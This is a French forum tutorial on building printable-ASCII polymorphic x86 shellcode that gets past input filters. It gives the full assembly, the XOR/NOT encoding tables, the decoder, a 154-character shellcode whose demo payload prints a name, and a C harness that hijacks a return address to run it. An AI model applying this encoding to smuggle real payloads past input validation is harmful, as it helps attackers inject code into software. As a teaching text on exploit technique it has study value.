Annonce

Réduire
Aucune annonce.

Comment créer un ASCII Shellcode

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Comment créer un ASCII Shellcode

    I - Présentation du polymorphisme à caractère ASCII imprimable
    ==============================================================

    Afin de parer à un grand nombre de vulnérabilités, dont l'exécution de shellcodes classiques, certains
    programmes mettent en place des restrictions sur les tampons.
    Imaginons un programme effectuant une vérification sur ce qui est entré, n'acceptant que des caractères
    imprimables, il est alors impossible d'inscrire la plupart des instructions assembleurs habituellement
    utilisées.

    Par exemple l'interruption 0x80 : \xcd\x80, ces deux opcodes ne correspondent à aucun caractère ascii
    imprimable. Heureusement, il nous reste suffisamment d'instructions utilisant des caractères imprimables..



    II - Concept et structure d'un shellcode polymorphique ASCII
    ============================================================

    Un shellcode polymorphique ASCII, comme son nom l'indique, est avant tout polymorphique, c'est à dire
    qu'un morceau de notre shellcode servira à décoder notre véritable shellcode qui sera écrit sous forme
    de phrase. En revanche, au lieu d'utiliser une boucle comme pour un shellcode polymorphique classique,
    la difficulté sera de décoder différemment chaque octet.

    Les caractères ascii imprimables sont compris entre x20 et x7e. Mais pour les puristes, nous pouvons
    augmenter la difficulté en n'utilisant que des caractères alphanumériques : cela permet de passer
    également à travers les restrictions de tampons alphanumériques.
    Les caractères alphanumériques sont compris dans les plages x30 - x39, x41 - x5a et x61 - x7a.

    Pour décoder, nous utilisons l'instruction xor dont les opcodes correspondent à un caractère alphanumérique.


    Plusieurs méthodes existent pour décoder chaque opcode. Nous pouvons construire le shellcode en transformant
    une phrase, placé en fin de shellcode, en instructions avant que l'eip n'y arrive.

    +------------+------------+--------------------+
    | "OUTILS" | DECODEUR | SHELLCODE ENCODÉ |
    +------------+------------+--------------------+

    Une autre méthode consiste à construire le shellcode dans la pile en décodant soit dans un registre, soit
    dans la pile directement. Il faut ensuite trouver un moyen de sauter dans la pile.

    +------------+-------------------------------+-----------+-------------------------------+------------+
    | "OUTILS" | MORCEAU DE SHELLCODE ENCODÉ | DÉCODEUR | MORCEAU DE SHELLCODE ENCODÉ | DÉCODEUR | ...
    +------------+-------------------------------+-----------+-------------------------------+------------+

    Bien sur chaque méthode présente des avantages et des inconvénients.


    III - La construction du shellcode
    ==================================

    III - 1. "Les outils"
    ---------------------

    Comme nous pouvons le constater, les deux méthodes citées précédemment utilisent des "outils".
    C'est une suite d'instructions qui éditent les registres qui seront utilisés après pour décoder.

    dec esp
    dec esp
    dec esp
    dec esp
    pop edx ; Permet de récupérer dans un registre l'adresse du début du shellcode.

    push dword 0x58494741
    pop eax
    xor eax, 0x58494741
    dec eax ; Permet de récupérer dans un registre FFFFFFFF.

    push esp
    pop ecx ; Permet de récupérer dans un registre l'adresse de la pile.

    push edx
    push ecx
    push edx
    push eax
    push esp
    push ebp
    push esi
    push edi
    popad


    L'instruction pop est un caractère ascii imprimable uniquement pour eax, ecx et edx c'est pourquoi
    nous utilisons popad après avoir empilé dans un ordre précis tous les registres.
    En effet popad équivaut à la suite POP EDI ; POP ESI ; POP EBP ; POP ESP ; POP EBX ; POP EDX ;
    POP ECX ; POP EAX.

    Nos outils sont donc prêts à l'emploi : eax avec l'adresse du début du shellcode, ecx avec l'adresse
    de la pile, edx nous servira à xorer ce que nous voulons et enfin ebx avec FFFFFFFF qui, utilisé avec
    xor, équivaut à l'instruction not.
    Cette suite d'instruction donne : LLLLZhAGIXX5AGIXHTYRQRPTUVWa

    Un tour par gdb pour vérifier les registres : eax:080495B4 ebx:FFFFFFFF ecx:BFC83220
    edx:080495B4 esp:BFC83220 eip:080495D0

    Tout est okay !



    III - 2. Quelques calculs
    -------------------------

    La partie la plus délicate est maintenant de trouver comment xorer un octet compris dans les limites
    des caractères imprimables, avec un caractère imprimable afin de donner l'octet du shellcode final.
    Nous allons continuer avec le shellcode précédent, et le réécrire en trouvant le bon xoring pour chaque
    octet afin de ne donner une ligne que de caracères imprimables.

    \x31\xc0\x31\b\x31\xc9\x31\2\xb2\x09\x6a\x0a\x68\x74\x68\x61\x6e\x68\x6a\x6f\x6e\x61\x89\xe1\xb3
    \x01\xb0\x04\xcd\x80\x31\b\xb0\x01\xcd\x80

    On peut déjà garder certains octets qui sont déjà imprimable ce qui nous donne :

    \x31\xXX\x31\xXX\x31\xXX\x31\xXX\xXX\xXX\x6a\xXX\x68\x74\x68\x61\x6e\x68\x6a\x6f\x6e\x61\xXX\xXX\xXX
    \xXX\xXX\xXX\xXX\xXX\x31\xXX\xXX\xXX\xXX\xXX

    Nous avons 20 octets à transformer.

    Sortez les calculettes, on attaque par C0.
    Un simple not suffit pour transformer C0 en 3F.
    Pour 09 nous pouvons xorer par 20 jusqu'à 71.
    Pour E1 un not ce qui nous donne 1E puis un xor par 50 par exemple.

    C'est donc toujours soit un not, soit un not puis un xor, soit un xor qu'il faut trouver !


    \x31
    \xc0 not \x3f
    \x31
    \b not \x24
    \x31
    \xc9 not \x36
    \x31
    \2 not \x2d
    \xb2 not \x4d
    \x09 xor 50 \x59
    \x6a
    \x0a xor 50 \x59
    \x68
    \x74
    \x68
    \x61
    \x6e
    \x68
    \x6a
    \x6f
    \x6e
    \x61
    \x89 not \x76
    \xe1 not xor 50 \x4e
    \xb3 not \x4c
    \x01 xor 50 \x51
    \xb0 not \x4f
    \x04 xor 50 \x54
    \xcd not \x32
    \x80 not xor 50 \x2f
    \x31
    \b not \x24
    \xb0 not \x4f
    \x01 xor 50 \x51
    \xcd not \x32
    \x80 not xor 50 \x2f


    Voilà, c'est assez fastidieux, mais rien ne vous empêche de xorer pour obtenir une jolie phrase
    (exemple http://www.shell-storm.org/shellcode...llcode-650.php) ou pour obtenir uniquement des
    caractères alphanumériques !

    Nous obtenons ici : 1?1$161-MYjZhthanhjonavNLQOT2/1$OQ2/



    III - 3. Décodage (méthode 1)
    -----------------------------

    Les outils et les xor en mains, il est très simple de décoder la phrase.
    La difficulté restante est de trouver le bon pas pour tomber sur le bon octet à xorer, nous le déterminerons
    par la suite à l'aide de ndisasm.
    Pour plus de simplicité commençons à 40 (28 en hexa) qui est un nombre rond et qui correspond à un caractère
    imprimable. Le shellcode à décoder ne devra donc pas dépasser 86 octets avec cette méthode.

    xor [eax + 41], bh ; Nous commençons par le second octet vu que le premier est 31 avec un not (xor ff)
    xor [eax + 43], bh
    xor [eax + 45], bh
    xor [eax + 47], bh
    xor [eax + 48], bh
    push word 0x5050 ; Nous modifions dx pour pouvoir xorer avec 4A
    pop dx
    xor [eax + 49], dh
    push word 0x5050
    pop dx
    xor [eax + 51], dh
    xor [eax + 62], bh
    xor [eax + 63], bh ; not puis xor
    push word 0x5050
    pop dx
    xor [eax + 63], dh
    xor [eax + 64], bh
    push word 0x5050
    pop dx
    xor [eax + 65], dh
    xor [eax + 66], bh
    push word 0x5050
    pop dx
    xor [eax + 67], dh
    xor [eax + 68], bh
    xor [eax + 69], bh
    push word 0x5050
    pop dx
    xor [eax + 69], dh
    xor [eax + 71], bh
    xor [eax + 72], bh
    push word 0x5050
    pop dx
    xor [eax + 73], dh
    xor [eax + 74], bh
    xor [eax + 75], bh
    push word 0x5050
    pop dx
    xor [eax + 75], dh


    Toutes ces instructions décodent notre shellcode ! Par chance, seulement 50 sont utilisés pour xorer, ce n'est
    pas toujours le cas, surtout si vous voulez faire un shellcode alphanumérique ou écrire votre propre phrase.
    Nous pouvons donc regrouper les xor identiques les push word 0x5050 sont là pour l'exemple au cas ou nous ne
    pourrions pas xorer tous les octets avec 50.

    Cela nous donne donc :

    xor [eax + 41], bh
    xor [eax + 43], bh
    xor [eax + 45], bh
    xor [eax + 47], bh
    xor [eax + 48], bh
    push word 0x5050
    pop dx
    xor [eax + 49], dh
    xor [eax + 51], dh
    xor [eax + 62], bh
    xor [eax + 63], bh
    xor [eax + 63], dh
    xor [eax + 64], bh
    xor [eax + 65], dh
    xor [eax + 66], bh
    xor [eax + 67], dh
    xor [eax + 68], bh
    xor [eax + 69], bh
    xor [eax + 69], dh
    xor [eax + 71], bh
    xor [eax + 72], bh
    xor [eax + 73], dh
    xor [eax + 74], bh
    xor [eax + 75], bh
    xor [eax + 75], dh


    En ascii : 0x)0x+0x-0x/0x0fhPPfZ0p10p30x>[email protected]

    Notre shellcode ascii ressemble pour le moment à

    LLLLZhAGIXX5AGIXHTYRQRPTUVWa
    0x)0x+0x-0x/0x0fhPPfZ0p10p30x>[email protected]
    1?1$161-MYjZhthanhjonavNLQOT2/1$OQ2/


    Il faut maintenant que [eax + 40] donne l'adresse du premier octet de la phrase à décoder !
    Pour cela il va falloir ajouter un certain nombre à eax avant de commencer à décoder. Or les opcodes
    de l'instruction add ne sont pas imprimables, nous utilisons donc sub qui lui l'est. En effet, soustraire
    suffisamment nous permet de retomber sur un nombre plus grand.

    Il faut en général trois sub que nous devons compter pour déterminer l'adresse de notre phrase.
    Nous passons par ndisasm pour trouver combien additionner.


    00000000 4C dec esp
    00000001 4C dec esp
    00000002 4C dec esp
    00000003 4C dec esp
    00000004 5A pop edx
    00000005 6841474958 push dword 0x58494741
    0000000A 58 pop eax
    0000000B 3541474958 xor eax,0x58494741
    00000010 48 dec eax
    00000011 54 push esp
    00000012 59 pop ecx
    00000013 52 push edx
    00000014 51 push ecx
    00000015 52 push edx
    00000016 50 push eax
    00000017 54 push esp
    00000018 55 push ebp
    00000019 56 push esi
    0000001A 57 push edi
    0000001B 61 popa
    0000001C 2D41414141 sub eax,0x41414141
    00000021 2D42424242 sub eax,0x42424242
    00000026 2D43434343 sub eax,0x43434343
    0000002B 307829 xor [eax+0x29],bh
    0000002E 30782B xor [eax+0x2b],bh
    00000031 30782D xor [eax+0x2d],bh
    00000034 30782F xor [eax+0x2f],bh
    00000037 307830 xor [eax+0x30],bh
    0000003A 66685050 push word 0x5050
    0000003E 665A pop dx
    00000040 307031 xor [eax+0x31],dh
    00000043 307033 xor [eax+0x33],dh
    00000046 30783E xor [eax+0x3e],bh
    00000049 30783F xor [eax+0x3f],bh
    0000004C 30703F xor [eax+0x3f],dh
    0000004F 307840 xor [eax+0x40],bh
    00000052 307041 xor [eax+0x41],dh
    00000055 307842 xor [eax+0x42],bh
    00000058 307043 xor [eax+0x43],dh
    0000005B 307844 xor [eax+0x44],bh
    0000005E 307845 xor [eax+0x45],bh
    00000061 307045 xor [eax+0x45],dh
    00000064 307847 xor [eax+0x47],bh
    00000067 307848 xor [eax+0x48],bh
    0000006A 307049 xor [eax+0x49],dh
    0000006D 30784A xor [eax+0x4a],bh
    00000070 30784B xor [eax+0x4b],bh
    00000073 30704B xor [eax+0x4b],dh

    00000076 db "1?1$161-MYjZhthanhjonavNLQOT2/1$OQ2/" il faut que [eax + 40] ait cette valeur là


    Il faut donc ajouter 0x76 - 0x28 à eax pour tomber sur le bon octet, c'est à dire ajouter 0x4e.
    Encore du calcul pour déterminer ce qu'il faut soustraire, sachant qu'il faut soustraire des nombres
    correspondant à des caractères affichables !

    0 - 6D6D6D30 = 929292D0 - 51515130 = 414141A0 - 41414152 = 4E

    Le compte est bon !

    Notre shellcode est donc terminé :

    dec esp
    dec esp
    dec esp
    dec esp
    pop edx

    push dword 0x58494741
    pop eax
    xor eax, 0x58494741
    dec eax

    push esp
    pop ecx

    push edx
    push ecx
    push edx
    push eax
    push esp
    push ebp
    push esi
    push edi
    popad

    sub eax,0x6D6D6D30
    sub eax,0x51515130
    sub eax,0x41414152

    xor [eax + 41], bh
    xor [eax + 43], bh
    xor [eax + 45], bh
    xor [eax + 47], bh
    xor [eax + 48], bh
    push word 0x5050
    pop dx
    xor [eax + 49], dh
    xor [eax + 51], dh
    xor [eax + 62], bh
    xor [eax + 63], bh
    xor [eax + 63], dh
    xor [eax + 64], bh
    xor [eax + 65], dh
    xor [eax + 66], bh
    xor [eax + 67], dh
    xor [eax + 68], bh
    xor [eax + 69], bh
    xor [eax + 69], dh
    xor [eax + 71], bh
    xor [eax + 72], bh
    xor [eax + 73], dh
    xor [eax + 74], bh
    xor [eax + 75], bh
    xor [eax + 75], dh

    db "1?1$161-MYjZhthanhjonavNLQOT2/1$OQ2/"


    Nous obtenons un joli shellcode ascii de 154 caractères !
    LLLLZhAGIXX5AGIXHTYRQRPTUVWa-0mmm-0QQQ-RAAA0x)0x+0x-0x/0x0fhPPfZ0p10p30x>[email protected]
    D0xE0pE0xG0xH0pI0xJ0xK0pK1?1$161-MYjZhthanhjonavNLQOT2/1$OQ2/

    Nous testons notre shellcode

    #include <stdio.h>


    char SC[] =
    "LLLLZhAGIXX5AGIXHTYRQRPTUVWa" //les outils
    "-0mmm-0QQQ-RAAA" //ajout du pas
    //décodage
    "0x)0x+0x-0x/0x0fhPPfZ0p10p30x>[email protected]"
    "1?1$161-MYjZhthanhjonavNLQOT2/1$OQ2/"; //phrase à décoder

    int main(void)
    {
    printf("Length: %d\n",strlen(SC));

    int *ret;
    ret = (int *)&ret + 2;
    (*ret) = (int) SC;
    }


    agix ~ # gcc -o test test.c
    agix ~ # ./test
    Length: 154
    jonathan
    agix ~ #


    Attention il est important d'utiliser
    int *ret;
    ret = (int *)&ret + 2;
    (*ret) = (int) SC;

    pour que nous puissions récupérer l'adresse du haut de notre shellcode dans eax (à l'aide des 4 dec esp du début)



    III - 4. Décodage (méthode 2)
    -----------------------------

    Une petite explication rapide de la seconde méthode qui consiste à écrire le shellcode dans la pile.
    Nous allons utiliser ecx cette fois qui contient l'adresse de la pile.


    inc ecx ; Il faut incrémenter ecx pour qu'il pointe vers le premier octet de la pile.
    push dword 0x4f51322f ; Nous plaçons dans la pile un morceau de notre phrase.
    xor [ecx], bh ; Puis nous éditons chaque octet de la même manière que pour la première méthode.
    inc ecx ; Il faut incrémenter ecx à chaque fois pour editer l'octet suivant.
    push word 0x5050
    pop dx
    xor [ecx], dh
    inc ecx
    ...


    Pour sauter dans la pile il faut d'abord mettre l'adresse de la pile dans la pile puis faire un ret.
    L'instruction ret place dans eip l'adresse pushé sur la pile c'est à dire l'adresse de notre shellcode décodé.


    push esp
    ret


    Malheureusement ret n'est pas imprimable, il faut donc utiliser la même méthode que précédemment et éditer
    l'octet à l'avance afin de donner l'instruction ret.


    push word 0x7070
    pop dx
    xor [eax + 100], dh


    Pour trouver le pas à ajouter à eax, nous pouvons utiliser ndisasm pour être précis ou bien mettre un
    nombre assez grand (qui soit toujours compris dans les caractères imprimables).
    Il faudra alors rajouter plusieurs L au bout du shellcode, cela correspond à une décrémentation de esp
    et avec un xor 70 donne l'instruction ret.
    Le file d'exécution arrivera donc sur un des L qui aura été transformé en ret et sautera dans la pile !

    Voici un exemple utilisant cette méthode : http://www.shell-storm.org/shellcode...llcode-619.php



    IV - Références
    ===============

    [x] - http://www.shell-storm.org

    [1] - Techniques de hacking - Jon Erickson

    [2] - ftp://ftp-developpez.com/david-gross...r-overflow.pdf
    " Une teuf sans drogue c'est comme une levrette sans fessé, c'est quand même rare. "

    †|
Chargement...
X